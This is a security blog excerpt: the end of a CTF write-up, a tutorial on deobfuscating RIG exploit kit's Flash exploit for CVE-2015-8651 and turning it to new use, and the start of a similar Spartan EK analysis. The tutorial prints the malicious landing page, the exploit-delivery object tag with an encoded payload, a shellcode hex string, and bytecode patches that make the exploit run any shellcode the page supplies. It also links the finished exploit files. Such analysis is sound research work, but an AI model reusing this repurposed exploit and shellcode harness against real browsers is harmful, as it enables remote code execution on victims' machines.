Putting breakpoints at each of the compare statements and noting the comparison character at each round, we end up with the flag:
</br></br>
<div class="console-top">root@kali: ~/Desktop</div>
<div class="console" style="background: #000;">
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b># ./a_strong_feeling
IceCTF{pip_install_angr}
Wooooohoooo!
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b>#
</div>
</br>
</span>
</div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-962516123421732492016-06-01T15:57:00.001-07:002016-08-12T05:45:09.151-07:00Malware - Analysing and Repurposing RIG's CVE-2015-8651<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
Hellooo again and welcome to another Malware post. As the first post was received quite well and I got a lot of encouraging feedback, I've decided to release another one. This time we'll be looking at RIG EK's CVE-2015-8651. As most of you have probably realised, this post is much shorter than Spartan EK's; in fact this will be way easier. If you're not familiar with my previous post, I suggest starting from this one and then move onto Spartan EK's if you're up for a much tougher challenge.
</br></br>
The Fiddler file can be found <a href="https://github.com/GradiusX/vulnerable.space/raw/master/Malware---CVE-2015-8651/RIG_CVE-2015-8651_2016-04-07.saz">here</a>.
</br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">VM Setup</span></h2>
</div>
</br>
The following are the setup, tools and files we'll be using throughout this post:
<ul>
<li><b style="color:#cccccc;">Windows 7 64-bit</b>
<li><b style="color:#cccccc;">Internet Explorer 11</b>
<li><b style="color:#cccccc;">JPEXS -</b> <span style="color: #999999;">Best Flash Decompiler (imo)</span>
<li><b style="color:#cccccc;">Flash Player 20.0.0.228 AX Debug -</b> <span style="color: #999999;">The ActiveX Debug flavour of Flash. This is the latest vulnerable version</span>
<li><b style="color:#cccccc;">Flash Player 20.0.0.228 AX -</b> <span style="color: #999999;">Do not install this for the time being.</span>
<li><b style="color:#cccccc;">Honeybadger -</b> <span style="color: #999999;">Javascript deobfuscator. Online version can be found <a href="https://www.javascriptanalysis.net/honeybadger/default/submit">here</a>.</span>
</ul>
</br>
Configure the debug version of Flash to log trace output to a file by creating an mm.cfg file. Instructions can be found in section "Equipping our gear" on <a href="http://vulnerablespace.blogspot.co.uk/2016/04/malware-analysing-and-repurposing.html">Spartan EK's</a> blog post.
</br></br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">The Fiddler File</span></h2>
</div>
</br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhatGs-P9j6Q9Fh84Q9j8kUDhGT58GQRvTtL42xJ36Y7SxqvgJoSRl_a4wDmJMrDDhyJtRDzQR8tIP2c1hT3ZyIC4SbIMSaq96tokK1gC2ZY5ZJmFPAUIG2zUGzs6I-658qXIwE-GkR8TVY/s1600/Untitled.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhatGs-P9j6Q9Fh84Q9j8kUDhGT58GQRvTtL42xJ36Y7SxqvgJoSRl_a4wDmJMrDDhyJtRDzQR8tIP2c1hT3ZyIC4SbIMSaq96tokK1gC2ZY5ZJmFPAUIG2zUGzs6I-658qXIwE-GkR8TVY/s740/Untitled.bmp" /></a></div>
</br>
The Fiddler file contains the following relevant request/response pairs:
<ol>
<li><b style="color:#cccccc;">HTML page (2) -</b> the landing page a victim has to browse to for infection
<li><b style="color:#cccccc;">SWF file (3) -</b> contains the exploit (sent twice for some unknown reason)
<li><b style="color:#cccccc;">Payload (5) -</b> the payload.
</ol>
Save the landing page and the SWF files for further analysis.
</br></br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">The Landing Page</span></h2>
</div>
</br>
Let's start with the easier of the scripting languages. After beautifying it, the page still looks messy and it's difficult to work out what it's up to:
</br></br>
<pre class="brush:js;">
<html>
<body>
<script>
piudsa = 'mdZnaDt';
kgjklfdg = true;
window.liney = bcyt = kgjklfdg;
</script>
<script>
if /*sidgfdfdfkdfl*/ (( /*sidgfdfdfkdfl*/ liney /*sidgfdfdfkdfl*/ )) /*xY2YtOTZiOC00NDQ*/ {
function k() {
var a = l(),
c = document,
b = c["createElement"]( /*xY2YtOTZiOC00NDQ*/ "scr" + "ipt" /*xY2YtOTZiOC00NDQ*/ );
b["type"] = "text/javas" + /*a*/ "cript", b.text = a, a = document /*iOC00ND*/ ["getElementsByTagName"]("script")[0], a[ /*xY2YtOTZiOC00NDQ*/ "parentN" + /*xY2YtOTZiOC00NDQ*/ "ode"]["insertBefore"](b, a)
}
try {
k()
} catch (m) {}
...
for (x = 0; x < L; x++) {
c = e[ /*as*/ s.charAt(x)];
b = (b << 3 * 2) + c; /*xY2YtOTZiOC00NDQ*/
l += 6;
bx = (L - 2);
while (l >= 4 + 2 * 2) {
((a = (b >>> (l -= /*xY2YtOTZiOC00NDQ*/ 10 - 2)) & 255) || (x < bx)) && (r += as(a));
}
}
return r;
}
}
</script>
</body >
</html>
</pre>
</br></br>
As mentioned earlier, Javascript is easier to deal with due to the numerous automated tools available for deobfuscation. Analyse the contents with <a href="https://www.javascriptanalysis.net/honeybadger/default/submit">Honeybadger</a> and beautify the contents of <b>DOM changes - object (1)</b>:
</br></br>
<pre class="brush:xml;">
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowscriptaccess="always" height="1" width="1">
<param name="movie" value="http://fg.cannabissmokersofamerica.com/index.php?wX6OcbifLBrLA4o=l3SMfPrfJxzFGMSUb-nJDa9BMEXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFSOzQfZPVQlyZAdChoB_Oqki0vHjUnH1cmQ9laHYghP7cbBE-dp313zzbRFecp1kRfXvzJUmeMZA15DsF4UlK_NBKqKp0N6RgBnEB_CbJQlqw-BF3H6PXl5gv2pHn4oieWX_PVynJImmA">
<param name="play" value="true">
<param name="FlashVars" value="iddqd=N3NNXQXiWPWNWeXiXiW3NNYMXhXhXdNOOXOXYQYiOYYeY3YYYYY3YfYLXeXeYPYXYNYgXfXeYXYQY3YPYgXfYLYeY3OYYeYXYPOXYLYYYhYgXMOYXdYMXdNXXiPMNQWXYeYfYLYQWWWfXfWWW3NhYXNPYWNePeWPYQPdXfYQWOXMXOWQWiWPPePgYfOPYYWOWhY3NLWfWPWgPMWePfP3WWPdYMNhPeWiYMWNXfPMWeWOOPYXYQPeYLYMN3NiWXWLWQXMXOXeYPPhXgNfWNPQPXWXXdX3XMXQYgWYNdPePOWQPeWXXOP3YQPOPdPQP3YWXLPOW3YhWeYMYXWfPXWXX3YNYLNdXQWMYOPgYYWMN3YeYPP3NLYWY3WMPLYiYMPdNiYeYfWfWgOPYhXdNeN3NeXOXOYfPfWQYgYeXdN3YNPfYQPMXQXOWOPgYPYgWPPOW3N3NgWhXeWQNhPgYWWNPXWYWfWNX3WNXdNdWYNQPfYiWfYYWgWfPXWeYfWOP3YWX3XiOPYQWgWePhNQPdPMYWNgYiXQNfXdWMYYNhYXYLYgPiPMPXPdWYNfYPNgNhXfNeYWWPOQYhYQYiXeYhYQNPNfNQNgNgMdMdMdLLLLLLLL">
<!--[if !IE]>-->
<object type="application/x-shockwave-flash" data="http://fg.cannabissmokersofamerica.com/index.php?wX6OcbifLBrLA4o=l3SMfPrfJxzFGMSUb-nJDa9BMEXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFSOzQfZPVQlyZAdChoB_Oqki0vHjUnH1cmQ9laHYghP7cbBE-dp313zzbRFecp1kRfXvzJUmeMZA15DsF4UlK_NBKqKp0N6RgBnEB_CbJQlqw-BF3H6PXl5gv2pHn4oieWX_PF0lZMmmA" allowscriptaccess="always" height="1" width="1">
<param name="movie" value="http://fg.cannabissmokersofamerica.com/index.php?wX6OcbifLBrLA4o=l3SMfPrfJxzFGMSUb-nJDa9BMEXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFSOzQfZPVQlyZAdChoB_Oqki0vHjUnH1cmQ9laHYghP7cbBE-dp313zzbRFecp1kRfXvzJUmeMZA15DsF4UlK_NBKqKp0N6RgBnEB_CbJQlqw-BF3H6PXl5gv2pHn4oieWX_PNxl9o">
<param name="play" value="true">
<param name="FlashVars" value="iddqd=N3NNXQXiWPWNWeXiXiW3NNYMXhXhXdNOOXOXYQYiOYYeY3YYYYY3YfYLXeXeYPYXYNYgXfXeYXYQY3YPYgXfYLYeY3OYYeYXYPOXYLYYYhYgXMOYXdYMXdNXXiPMNQWXYeYfYLYQWWWfXfWWW3NhYXNPYWNePeWPYQPdXfYQWOXMXOWQWiWPPePgYfOPYYWOWhY3NLWfWPWgPMWePfP3WWPdYMNhPeWiYMWNXfPMWeWOOPYXYQPeYLYMN3NiWXWLWQXMXOXeYPPhXgNfWNPQPXWXXdX3XMXQYgWYNdPePOWQPeWXXOP3YQPOPdPQP3YWXLPOW3YhWeYMYXWfPXWXX3YNYLNdXQWMYOPgYYWMN3YeYPP3NLYWY3WMPLYiYMPdNiYeYfWfWgOPYhXdNeN3NeXOXOYfPfWQYgYeXdN3YNPfYQPMXQXOWOPgYPYgWPPOW3N3NgWhXeWQNhPgYWWNPXWYWfWNX3WNXdNdWYNQPfYiWfYYWgWfPXWeYfWOP3YWX3XiOPYQWgWePhNQPdPMYWNgYiXQNfXdWMYYNhYXYLYgPiPMPXPdWYNfYPNgNhXfNeYWWPOQYhYQYiXeYhYQNPNfNQNgNgMdMdMdLLLLLLLL">
<!--<![endif]-->
<!--[if !IE]>-->
</object>
<!--<![endif]-->
</object>
</pre>
</br></br>
It makes much more sense now. The html page downloads a Flash file from the <b>fg.cannabissmokersofamerica.com</b> domain, passes it the long string enclosed in FlashVars tags, and loads in on the page.
</br></br>
Notice that the URL matches with the ones in the Fiddler file so let's move onto the Flash file.
</br></br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">The Flash File</span></h2>
</div>
</br>
Running the flash file on its own we get the following error:
</br>
<pre class="brush:plain;">
TypeError: Error #1009: Cannot access a property or method of a null object reference.
at NightCrow/dgjgfdfg()
at NightCrow/fgghjds()
at NightCrow/init()
at NightCrow()
</pre>
</br>
This happens as the it tries to access a parameter which is null at the time; for now we can only speculate that it's the same parameter we're encountered on the landing page. Let's forget about it for the time being and disect the rest. Load the file into JPEXS. Execution starts at class NightCrow and the constructor calls this.init():
</br></br>
<pre class="brush:as3;">
private function init(param1:Event = null) : void
{
removeEventListener(CloudPost.read_data(-1820302799),this.init);
var _loc3_:Object = null;
if(stage && stage.loaderInfo && stage.loaderInfo.parameters)
{
_loc3_ = stage.loaderInfo.parameters;
}
if(_loc3_ == null && root && root.loaderInfo && root.loaderInfo.parameters)
{
_loc3_ = root.loaderInfo.parameters;
}
if(_loc3_ == null && loaderInfo && loaderInfo.parameters)
{
_loc3_ = loaderInfo.parameters;
}
var _loc4_:String = _loc3_[§_a_-_---§.§_a_--_--§(-1820302797)] as String;
this.asdfsdg = fgghjds(_loc4_);
var _loc2_:String = §_a_-_---§.§_a_--_--§(-1820302798) + this.asdfsdg as String;
try
{
this.run(_loc2_);
return;
}
catch(error:Error)
{
return;
}
}
</pre>
</br>
The obfuscation hits us straight in the face so let's start injecting trace bytecode to clear the fog. For example, to resolve <b>CloudPost.read_data(-1820302799)</b> we change the bytecode from:
</br></br>
<pre class="brush:as3;">
code
getlocal_0
pushscope
findpropstrict Qname(PackageNamespace(""),"removeEventListener")
getlex Qname(PackageNamespace(""),"CloudPost")
pushint -1820302799
callproperty Qname(PackageNamespace(""),"read_data") 1
getlocal_0
getproperty Qname(PrivateNamespace("NightCrow"),"init")
callpropvoid Qname(PackageNamespace(""),"removeEventListener") 2
pushnull
...
</pre>
</br>
to:
</br></br>
<pre class="brush:as3;">
code
getlocal_0
pushscope
findpropstrict Qname(PackageNamespace(""),"trace")
getlex Qname(PackageNamespace(""),"CloudPost")
pushint -1820302799
callproperty Qname(PackageNamespace(""),"read_data") 1
callpropvoid Qname(PackageNamespace(""),"trace") 1
findpropstrict Qname(PackageNamespace(""),"removeEventListener")
getlex Qname(PackageNamespace(""),"CloudPost")
pushint -1820302799
callproperty Qname(PackageNamespace(""),"read_data") 1
getlocal_0
getproperty Qname(PrivateNamespace("NightCrow"),"init")
callpropvoid Qname(PackageNamespace(""),"removeEventListener") 2
pushnull
...
</pre>
</br>
The lines added are 5 to 9. For verification, the ActionScript (AS3) source should look like this now:
</br></br>
<pre class="brush:as3;">
private function init(param1:Event = null) : void
{
trace(CloudPost.read_data(-1820302799));
removeEventListener(CloudPost.read_data(-1820302799),this.init);
var _loc3_:Object = null;
...
</pre>
</br>
Running the Flash file again, we get the following in flashlog.txt:
</br></br>
<pre class="brush:plain;">
addedToStage
TypeError: Error #1009: Cannot access a property or method of a null object reference.
at NightCrow/dgjgfdfg()
at NightCrow/fgghjds()
at NightCrow/init()
at NightCrow()
</pre>
</br>
On line 1 we can see that <b>CloudPost.read_data(-1820302799)</b> translates to <b>addedStage</b>. By repeating the technique we can decipher the entire init() function:
</br></br>
<pre class="brush:as3;">
private function init(param1:Event = null) : void
{
// CloudPost.read_data(-1820302799) => addedToStage
removeEventListener(CloudPost.read_data(-1820302799),this.init);
var _loc3_:Object = null;
if(stage && stage.loaderInfo && stage.loaderInfo.parameters)
{
_loc3_ = stage.loaderInfo.parameters;
}
if(_loc3_ == null && root && root.loaderInfo && root.loaderInfo.parameters)
{
_loc3_ = root.loaderInfo.parameters;
}
if(_loc3_ == null && loaderInfo && loaderInfo.parameters)
{
_loc3_ = loaderInfo.parameters;
}
//§_a_-_---§.§_a_--_--§(-1820302797) => iddqd
//_loc4_ => string from landing page
var _loc4_:String = _loc3_[§_a_-_---§.§_a_--_--§(-1820302797)] as String;
//this.asdfsdg => 28226f6e54525a6e6e ... f7e6a7d7f242b2f2c2c19191900000000
this.asdfsdg = fgghjds(_loc4_);
//§_a_-_---§.§_a_--_--§(-1820302798) => 60eb1158b9d1040000498034081985 ... 119191919419ad913dadae6e6e6e6
var _loc2_:String = §_a_-_---§.§_a_--_--§(-1820302798) + this.asdfsdg as String;
try
{
//_loc2_ => concat of the 2 strings
this.run(_loc2_);
return;
}
catch(error:Error)
{
return;
}
}
</pre>
</br>
At this point we still don't know what this string in _loc2_ is. We might be in luck and it's shellcode. If that's the case we can stop at this point and start repurposing it.
</br></br>
Inject trace bytecode for _loc2_ and run the SWF file through the landing page so we get access to the FlashVars. The flashlog.txt file now contains the contents of _loc2_. Copy pasting it in Immunity Debugger we get the following:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAvxLNvJD7YZ1j8VnEAraMlDiHbvVnneqnAbK0kPQFeV4BYqNh92N64CNeby-ECRSuX4RRJ4DxBTH7rq1NPZmPaXB6qfSYZpnmYA4yyBoGtEFe95ME6x3tqIHZJxUpjY2nGT74LN9uTF6U/s1600/Untitled.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAvxLNvJD7YZ1j8VnEAraMlDiHbvVnneqnAbK0kPQFeV4BYqNh92N64CNeby-ECRSuX4RRJ4DxBTH7rq1NPZmPaXB6qfSYZpnmYA4yyBoGtEFe95ME6x3tqIHZJxUpjY2nGT74LN9uTF6U/s700/Untitled.bmp" /></a></div>
</br></br>
Still looking promising! The bytes in _loc2_ translate to valid instructions and also start with a PUSHAD which saves the state of all registers. The next step is to change the _loc2_ string to 0xCC's, which is a software interrupt. If it is indeed shellcode, the debugger should halt when it lands on the bytes. Change the AS3 bytecode of the init() function to the following:
</br></br>
<pre class="brush:as3;">
code
getlocal_0
pushscope
findpropstrict Qname(PackageNamespace(""),"removeEventListener")
getlex Qname(PackageNamespace(""),"CloudPost")
pushint -1820302799
callproperty Qname(PackageNamespace(""),"read_data") 1
getlocal_0
getproperty Qname(PrivateNamespace("NightCrow"),"init")
callpropvoid Qname(PackageNamespace(""),"removeEventListener") 2
pushstring "ccccccccccccccccccccccccccccccccccccc"
setlocal_2
ofs0017:getlocal_0
getlocal_2
callpropvoid Qname(PrivateNamespace("NightCrow"),"run") 1
returnvoid
ofs001e:jump ofs0032
ofs0022:getlocal_0
pushscope
newcatch 0
dup
setlocal 6
dup
pushscope
swap
setslot 1
popscope
kill 6
returnvoid
ofs0032:returnvoid
</pre>
</br></br>
The AS3 version looks like this:
</br></br>
<pre class="brush:as3;">
private function init(param1:Event = null) : void
{
removeEventListener(CloudPost.read_data(-1820302799),this.init);
var _loc2_:String = "ccccccccccccccccccccccccccccccccccccc";
try
{
this.run(_loc2_);
return;
}
catch(error:Error)
{
return;
}
}
</pre>
</br></br>
Trying it out andddd .. nothing .. not even a crash! That's quite strange. Maybe the exploit doesn't work at all? The version is wrong? Maybe it doesn't work on the Debug version of Flash? Let's verify the last question and install the non-debug version of Flash ActiveX. Attach IDA to IEXPLORER.exe and load the landing page in Internet Explorer anddddd:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHOM04nbUfMgMjIG-NZBApC5HS_XC4DQ9X0U2eovh9azrx9I2VzcfXxR5Ma2fzsiAHhSOvdomau7odmN5sdlIwjFHTnMA_TZEA4aATEh3mc8KiYDH5MeSMqFhOfhAY6Ue0HF5me4NfmxoR/s1600/Untitled.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHOM04nbUfMgMjIG-NZBApC5HS_XC4DQ9X0U2eovh9azrx9I2VzcfXxR5Ma2fzsiAHhSOvdomau7odmN5sdlIwjFHTnMA_TZEA4aATEh3mc8KiYDH5MeSMqFhOfhAY6Ue0HF5me4NfmxoR/s700/Untitled.bmp" /></a></div>
</br></br>
Awesome!! We can stop the analysis at this point and move onto the repurposing section.
</br></br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">Repurposing the Exploit</span></h2>
</div>
</br>
The goal here is to repurpose the exploit to say, pop calc. Ideally we would like the Flash exploit to read the shellcode from the landing page to keep things simple when we want to change the payload. Modifying the Flash file each time is a hassle.
</br></br>
Starting from the landing page, the following contains the calc shellcode:
</br></br>
<pre class="brush:xml;">
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowscriptaccess="always" height="1" width="1">
<param name="movie" value="RIG_CVE-2015-8651_2016-04-07.swf">
<param name="play" value="true">
<param name="FlashVars" value="iddqd=558BEC83C4AC535157648B05300000008B400C8B400C8B008B008B581889D803403C8B507801DA8B7A2001DF31C98B0701D8813843726561751C81780B7373410075138B422401D80FB704488B521C01DA031C82EB0983C704413B4A187CCF8D45F0508D7DAC5731C0B911000000F3ABC745AC44000000505050505050E80900000063616C632E6578650050FFD35F595BC1E00383C006C9C3909090">
<!--[if !IE]>-->
<object type="application/x-shockwave-flash" data="RIG_CVE-2015-8651_2016-04-07.swf" allowscriptaccess="always" height="1" width="1">
<param name="movie" value="RIG_CVE-2015-8651_2016-04-07.swf">
<param name="play" value="true">
<param name="FlashVars" value="iddqd=558BEC83C4AC535157648B05300000008B400C8B400C8B008B008B581889D803403C8B507801DA8B7A2001DF31C98B0701D8813843726561751C81780B7373410075138B422401D80FB704488B521C01DA031C82EB0983C704413B4A187CCF8D45F0508D7DAC5731C0B911000000F3ABC745AC44000000505050505050E80900000063616C632E6578650050FFD35F595BC1E00383C006C9C3909090">
<!--<![endif]-->
<!--[if !IE]>-->
</object>
<!--<![endif]-->
</object>
</pre>
</br></br>
For the Flash file it's best to do away with the one we were working on and use an unmodified version. Recall that the original version looks like this:
</br></br>
<pre class="brush:as3;">
private function init(param1:Event = null) : void
{
removeEventListener(CloudPost.read_data(-1820302799),this.init);
var _loc3_:Object = null;
if(stage && stage.loaderInfo && stage.loaderInfo.parameters)
{
_loc3_ = stage.loaderInfo.parameters;
}
if(_loc3_ == null && root && root.loaderInfo && root.loaderInfo.parameters)
{
_loc3_ = root.loaderInfo.parameters;
}
if(_loc3_ == null && loaderInfo && loaderInfo.parameters)
{
_loc3_ = loaderInfo.parameters;
}
var _loc4_:String = _loc3_[§_a_-_---§.§_a_--_--§(-1820302797)] as String;
this.asdfsdg = fgghjds(_loc4_);
var _loc2_:String = §_a_-_---§.§_a_--_--§(-1820302798) + this.asdfsdg as String;
try
{
this.run(_loc2_);
return;
}
catch(error:Error)
{
return;
}
}
</pre>
</br></br>
All we need to do is get rid of lines 18 and 19, and pass _loc4_ directly to this.run() on line 22. In AS3 bytecode this would translate to converting the following:
</br></br>
<pre class="brush:as3;">
astypelate
coerce_s
setlocal 4
getlocal_0
findpropstrict Qname(PrivateNamespace("NightCrow"),"fgghjds")
getlocal 4
callproperty Qname(PrivateNamespace("NightCrow"),"fgghjds") 1
setproperty Qname(PrivateNamespace("NightCrow"),"asdfsdg")
getlex Qname(PackageNamespace("","1"),"_a_-_---")
pushint -1820302798
callproperty Qname(PackageNamespace("","2"),"_a_--_--") 1
coerce_s
getlocal_0
getproperty Qname(PrivateNamespace("NightCrow"),"asdfsdg")
add
getlex Qname(PackageNamespace(""),"String")
astypelate
coerce_s
setlocal_2
ofs00be:getlocal_0
getlocal_2
callpropvoid Qname(PrivateNamespace("NightCrow"),"run") 1
returnvoid
ofs00c5:jump ofs00d9
ofs00c9:getlocal_0
pushscope
newcatch 0
</pre>
</br></br>
to this:
</br></br>
<pre class="brush:as3;">
astypelate
coerce_s
setlocal 4
getlocal_0
findpropstrict Qname(PrivateNamespace("NightCrow"),"fgghjds")
ofs00a6:getlocal_0
getlocal 4
callpropvoid Qname(PrivateNamespace("NightCrow"),"run") 1
returnvoid
ofs00ae:jump ofs00c2
ofs00b2:getlocal_0
pushscope
newcatch 0
</pre>
</br></br>
The final, modified version of the init() function should now look like the following:
</br></br>
<pre class="brush:as3;">
private function init(param1:Event = null) : void
{
removeEventListener(CloudPost.read_data(-1820302799),this.init);
var _loc3_:Object = null;
if(stage && stage.loaderInfo && stage.loaderInfo.parameters)
{
_loc3_ = stage.loaderInfo.parameters;
}
if(_loc3_ == null && root && root.loaderInfo && root.loaderInfo.parameters)
{
_loc3_ = root.loaderInfo.parameters;
}
if(_loc3_ == null && loaderInfo && loaderInfo.parameters)
{
_loc3_ = loaderInfo.parameters;
}
var _loc4_:String = _loc3_[§_a_-_---§.§_a_--_--§(-1820302797)] as String;
try
{
this.run(_loc4_);
return;
}
catch(error:Error)
{
return;
}
}
</pre>
</br></br>
Running the exploit from the landing page in IE 11 through Flash Player 20.0.0.228 AX on Windows 7 SP1 64-bit we get:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV1-9mvexNA2zAIFh7CWEGkLyYApTniHVPqzBwe1HYWIQUBdmWfs23YQgzK4TwYBbS2fCa5bExL0z1mz3-Qmtp1xkmqKLgHAGJgeG7nlu6L9aYZXuU-DsRhlOmBmsihMssClMKYUvsvUMS/s1600/Untitled.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV1-9mvexNA2zAIFh7CWEGkLyYApTniHVPqzBwe1HYWIQUBdmWfs23YQgzK4TwYBbS2fCa5bExL0z1mz3-Qmtp1xkmqKLgHAGJgeG7nlu6L9aYZXuU-DsRhlOmBmsihMssClMKYUvsvUMS/s720/Untitled.bmp" /></a></div>
</br></br>
The final versions of the files can be downloaded <a href="https://github.com/GradiusX/vulnerable.space/raw/master/Malware---CVE-2015-8651/RIG%20CVE-2015-8651%20repurposed.rar">here</a>.
</br></br>
</span>
<br /></div>
GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com10tag:blogger.com,1999:blog-892957492981532265.post-27338229162321956172016-04-19T16:11:00.002-07:002016-08-12T05:43:15.536-07:00Malware - Analysing and Repurposing Spartan's CVE-2015-7645<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
In this blog post we'll be looking at Spartan exploit kit's (EK's) CVE-2015-7645 Flash exploit. We'll go through the process of analyzing the obfuscated Flash file, deshelling it from protection layers and repurposing it to run our own shellcode.
</br></br>
I found Spartan EK to be a bit easier to deobfuscate than other exploit kits. This is all relative though and nothing in this process will be really easy !
</br></br>
The Fiddler file can be downloaded <a href="https://github.com/GradiusX/vulnerable.space/raw/master/Malware---CVE-2015-7645/d839f98305af1b222a148dc57b0a7b92d4bafde0bac7134eae81093bacc4e672.saz">here</a>.
</br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">Equipping our gear</span></h2>
</div>
</br>
The following is the setup, tools and files we'll be using throughout this endeavour:
<ul>
<li><b style="color:#cccccc;">Windows 7 64-bit</b>
<li><b style="color:#cccccc;">Internet Explorer 11</b>
<li><b style="color:#cccccc;">JPEXS -</b> <span style="color: #999999;">Best Flash Decompiler (imo)</span>
<li><b style="color:#cccccc;">Flash Player 19.0.0.207 SA Debug -</b><span style="color: #999999;"> Standalone version of Flash. This is the latest vulnerable version</span>
<li><b style="color:#cccccc;">Flash Player 19.0.0.207 AX -</b> <span style="color: #999999;">The ActiveX non-debug flavour of Flash</span>
<li><b style="color:#cccccc;">Flasm -</b><span style="color: #999999;"> Flash (dis)assembler</span>
</ul>
</br>
The debug version of Flash stand alone is verbose, throws errors when something goes wrong and supports the trace() function. The trace() function is used for testing and debugging purpose and will play a crucial role in this blog. To configure the debugger version of Flash create an <b>mm.cfg</b> file in the home directory (eg. C:\Users\<user>\mm.cfg) with the following contents:
</br></br>
<pre style="background: #999999; color: black;">
ErrorReportingEnable=1
TraceOutputFileEnable=1
</pre></br>
These settings tell Flash to log errors and redirect trace output to a file. The path and name of the file can be specified with the <b>TraceOutputFileName</b> parameter but by default it resides in <b>%APPDATA%\Macromedia\Flash Player\Logs\flashlog.txt</b>.
</br></br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">Scouting the GRift</span></h2>
</div>
</br>
The only thing we've got at hand is the <a href="https://dl.dropboxusercontent.com/u/15437571/Blog/Malware%20-%20CVE-2015-7645/d839f98305af1b222a148dc57b0a7b92d4bafde0bac7134eae81093bacc4e672.saz">Fiddler file</a> containing a single pass of the Spartan EK Flash exploit. Fiddler files are very similar to pcaps and contain the requests and responses that occured during compromisation. Before we start I would like to thank <a href="https://twitter.com/kafeine">@kafeine</a> for providing me with this Fiddler file. For more information regarding the file itself visit his <a href="http://malware.dontneedcoffee.com">blog</a> which is always up date with the latest EK expoits found in the wild.
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiI84e39CQ7Qhg74BEFIc9gHmTMIOsRvfyDsHv04ANgsKyAUfbcRWWv3gcXWZLixNqE1rovCwROFiEhhyphenhyphenzD56CahHHYTq5wUJ1iqqBHLHGbpLZ9J1V-4Pnqlyt8Ow3uPirPj0dpxB0GyQ_3/s1600/1_Fiddler+File.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiI84e39CQ7Qhg74BEFIc9gHmTMIOsRvfyDsHv04ANgsKyAUfbcRWWv3gcXWZLixNqE1rovCwROFiEhhyphenhyphenzD56CahHHYTq5wUJ1iqqBHLHGbpLZ9J1V-4Pnqlyt8Ow3uPirPj0dpxB0GyQ_3/s720/1_Fiddler+File.bmp" /></a></div>
</br>
The Fiddler file contains the following request/response pairs:
<ol>
<li><b style="color:#cccccc;">SWF file -</b> contains the exploit
<li><b style="color:#cccccc;">crossdomain.xml -</b> cross-domain policy file which grants Flash permission to communicate with other servers
<li><b style="color:#cccccc;">XML file -</b> will come into play later
<li><b style="color:#cccccc;">Payload -</b> according to Kaffeine it's Pony or AlphaCrypt.
</ol>
The main file of interest here is the SWF file so save the relevant response body from Fiddler for further analysis.
</br></br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">Equipping our skills</span></h2>
</div>
</br>
By now you're probably itching to start hacking away at the extracted Flash file but before I have to explain the method we'll be using to debug and understand the inner workings of the Flash files. This is the most effective method I came up with to analyse obfuscated Flash files. By no means I'm claiming it's the best way or the most efficient way of doing it but it worked for me. Having said that, this was my first attempt at reversing an EK so I'm still new to this scene.
</br></br>
As I've mentioned earlier the trace() function is used for debugging purposes and can be used to write any variable to the flashlog file. Think of it as a print or write to the log file. OK, so we just insert trace functions everywhere and we're done right? Well, yes and no. No because, even though JPEXS tries it's best to display the original Action Script 3 (AS3) source code, it doesn't handle obfuscation very well and more often than not will not compile the Flash file after it has been modified. On the other hand, JPEXS has a solid bytecode editor which allows us to modify bytecode directly and save the new Flash file; so yes, we'll be injecting the bytecode for the trace function.
</br></br>
To obtain the bytecode for trace, create the following AS3 class and compile it:
</br></br>
<pre class="brush:as3;">
package {
import flash.display.MovieClip;
public class traceClass extends MovieClip {
public function traceClass() {
// tracing fixed string
trace("Hello World");
// tracing variable
var s:String = "Hello World";
trace (s);
}
}
}
</pre>
</br>
The AS3 file uses trace() in 2 different ways, one on a static string and the other on a variable. Now open the resultant SWF file with JPEXS. The following are the 2 relevant sections:
</br></br>
<pre class="brush:as3;">
...
findpropstrict Qname(PackageNamespace(""),"trace")
pushstring "Hello World"
callpropvoid Qname(PackageNamespace(""),"trace") 1
pushstring "Hello World"
debugline 11
coerce_s
setlocal_1
debugline 12
findpropstrict Qname(PackageNamespace(""),"trace")
getlocal_1
